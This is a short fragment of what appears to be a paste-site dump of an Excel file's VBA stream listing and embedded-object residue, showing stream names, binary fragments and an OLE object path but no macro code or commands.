  8009. ' _VBA_PROJECT_CUR/VBA/Sheet3 - 993 bytes
  8010. ' _VBA_PROJECT_CUR/VBA/Sheet2 - 993 bytes
  8011.  
  8012. H�,�
  8013. Tahoma�
  8014. \oleObject*.bin
  8015. �Label1
  8016. �xl\embeddings\oleObject1.bin�
  8017.  
Add Comment
Please, Sign In to add comment